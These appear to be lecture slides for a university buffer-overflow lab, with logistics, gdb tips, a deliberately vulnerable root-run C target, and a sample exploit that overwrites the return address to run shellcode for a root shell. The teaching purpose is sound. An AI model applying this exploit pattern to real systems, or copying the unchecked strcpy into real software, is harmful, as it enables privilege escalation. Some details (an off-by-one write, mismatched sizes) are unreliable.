
CSE	484	/	CSE	M	584
Computer	Security:
Buffer	Overflows

TA:	Jared	Moore
jlcmoore@cs



General	Lab	1	Guidance

• You	should	work	in	groups	of	3.	(Talk	to	us	if	
this	seems	impossible.)

• Make	sure	you	have	finalized	your	group	when	
you	sign	up	for	a	VM!	Make	sure	you	use	
everyone’s	UW	id	(not CSE	id)!

• Talk	to	us	if	you	have	trouble	connecting	to	
your	VM.

• The	referenced	readings	really	help.



General	Lab	1	Guidance

• 7	targets	and	their	sources	located	in	/bin/
– Do	not	change	or	recompile	targets!

• 7	stub	sploit files	located	in~/sploits/
– Make	sure	your	final	sploits are	built	here!
– As	with	all	data,	consider	backing	up	elsewhere	J

• Goal: Cause	targets	(which	run	as	root)	to	
execute	shellcode to	get	root	shell.

• Make	sure	each	sploit references	the	correct	
target!



General	Lab	1	Guidance

• We	provide	the	shellcode.	
– Some	of	“Smashing	the	Stack	for	Fun	and	Profit”	
describes	how	it	was	generated.	You	don’t	need	to	do	
this	part.	Just	write	it	into	buffer.

• You	need	to	hard-code	addresses into	your	
solutions.	(Don’t	use	get_sp().)

• NOP	sleds are	needed	when	you	don’t	know	
exact	address	of	your	buffer.	You’ll	know	the	
exact	address	in	this	lab.

• Copying	will	stop	at	a	null	byte (00)	in	the	buffer.



Lab	1	Deadlines

START	EARLY!	
Some	of	the	exploits	are	complex.

Checkpoint	deadline	(Sploits 1-3):	April	14
Final	deadline	(Sploits 4-7):	April	28



Stack	Frame	Structure
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GDB	is	your	friend

• To	execute	sploitX and	use	symbols	of	targetX:
gdb -e sploitX -s /bin/targetX

• Then,	to	set	breakpoint	in	targetX’s main():
catch exec
run
break main
continue

When	breaks:	Set	desired	breakpoint
Continue	running	(will	break	at	main())

Start	program

Break	when	exec’d into	a	new	process



Other	Useful	GDB	Commands
• step :	execute	next	source	code	line
• next :	step	over	function
• stepi :	execute	next	assembly	instruction
• list :	display	source	code
• disassemble :	disassemble	specified	function
• x :	inspect	memory

– e.g., 20	words	at	address:	x\20w 0xbffffcd4

• info register :	inspect	current	register	values
• info frame :	info	about	current	stack	frame
• p :	inspect	variable

– e.g.,	p &buf or		p buf



Target0
int foo(char *argv[])
{

char buf[320];
strcpy(buf, argv[1]);

}

int main(int argc, char *argv[])
{

if (argc != 2)
{

fprintf(stderr, "target1: argc != 2\n");
exit(EXIT_FAILURE);

}
foo(argv);
return 0;

}

What’s	the	problem?

No	bounds	checking	
on	strcpy().



Sploit0

• Construct	buffer	that:
– Contains	shellcode.
– Exceeds	expected	size	(192).
– Overwrites	return	address	on	stack	with	address	
of	shellcode.

• Demo:	Figuring	out	what	address	to	write	
where.



Sploit0
int main(void)
{
char *args[3];

char *env[1];
char buf[329]; // at least 320 + 9

memset(buf, 0x90, sizeof(buf) - 1); // NOPs to make sure no null bytes
buf[329] = 0; // make sure copying stops when you expect

memcpy(buf, shellcode, sizeof(shellcode) - 1); // at beginning of buffer

// overwrite return address (at buf + buf length (320) + 4 ) 
// with address of shellcode (start of buffer)
*(unsigned int *)(buf + 324) = 0xbffffce0;

args[0] = TARGET; args[1] = buf; args[2] = NULL;
env[0] = NULL;

if (0 > execve(TARGET, args, env))
perror("execve failed");

return 0;
}


